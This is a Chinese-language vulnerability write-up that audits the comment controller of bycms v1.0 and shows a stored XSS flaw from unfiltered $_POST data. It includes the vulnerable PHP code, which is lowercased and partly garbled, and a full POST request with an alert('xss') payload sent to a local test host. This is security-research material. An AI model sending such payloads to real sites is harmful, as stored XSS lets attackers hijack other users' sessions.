首页本地搭建环境,我所使用的是windows phpstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换php版本。
0x01 cms简介:
bycms是一套简单,易用的内容管理系统,基于thinkphp5.0.9,包含文章,图片,下载,视频模型,旨在帮助开发者节约web应用后台开发时间和精力,以最快的速度开发出高质量的web应用。包含pc端,手机端,微信端,安卓app,苹果app,多端数据同步!
主要特性:基于tp5.0.9,可无缝升级之5.0.10,遵循psr-2、psr-4规范,composer及单元测试,异常严谨的错误检测和安全机制,详细的日志信息,为你的开发保驾护航;减少核心依赖,扩展更灵活、方便,支持命令行指令扩展;出色的性能和rest支持、远程调试,更好的支持api开发;惰性加载,及路由、配置和自动加载的缓存机制;重构的数据库、模型及关联。
0x02 正文:
首先来看看目录结构。
先来打开index.php看看。看下图可以得知程序目录为:application
来看看前台模板
可以看到有八个控制器。每个控制器代表着一个功能模块。
漏洞所在处(评论功能控制器):/bycms/application/index/controller/comment.php
漏洞所在行数:24行
<?php namespace app\index\controller; use think\controller; use think\db; class comment extends home{ public function add($id=""){ if(!is_login()){ $this->error("请先登录"); } $id=input('doc_id'); if(!($id && is_numeric($id))){ $this->error('id错误!'); }else{ $where["id"]=$id; } $info= db::name('document')->where($where)->find(); if(!$info){ $this->error('文章不存在!'); } if($_post){ $comment = new \app\index\model\comment; $res=$comment->validate(true)->allowfield(true)->save($_post); if($res){ db::name('document')->where($where)->setinc("comments"); $this->success("发布成功!"); }else{ $error=$comment->geterror()?$comment->geterror():"发布失败!"; $this->error($error); } } }
根据上述代码可以看到 22-27行。这一段代码。换成中文来说的大概意思就是:
首先判断$_post是否有数据传入。之后在24行处的save方法内直接将$_post传过来的conten参数的数据写进了数据库。并未做任何过滤处理。从而将代码原型直接插入至数据库。
post数据包:
post /shenji/bycms/index.php/index/comment/add.html http/1.1
host: 192.168.1.111
user-agent: mozilla/5.0 (windows nt 6.1; wow64; rv:55.0) gecko/20100101 firefox/55.0
accept: */*
accept-language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
accept-encoding: gzip, deflate
content-type: application/x-www-form-urlencoded; charset=utf-8
x-requested-with: xmlhttprequest
referer: http://192.168.1.111/shenji/bycms/index.php/index/article/detail/id/93.html
content-length: 57
cookie: phpsessid=j6cht7fitg6l4eoajtscmvth56
connection: close
doc_id=93&content=3f1c4e4b6b16bbbd69b2ee476dc4f83aalert('xss')2cacc6d41bbb37262a98f745aa00fbf0
以上就是bycms v1.0存储型xss的详细内容。
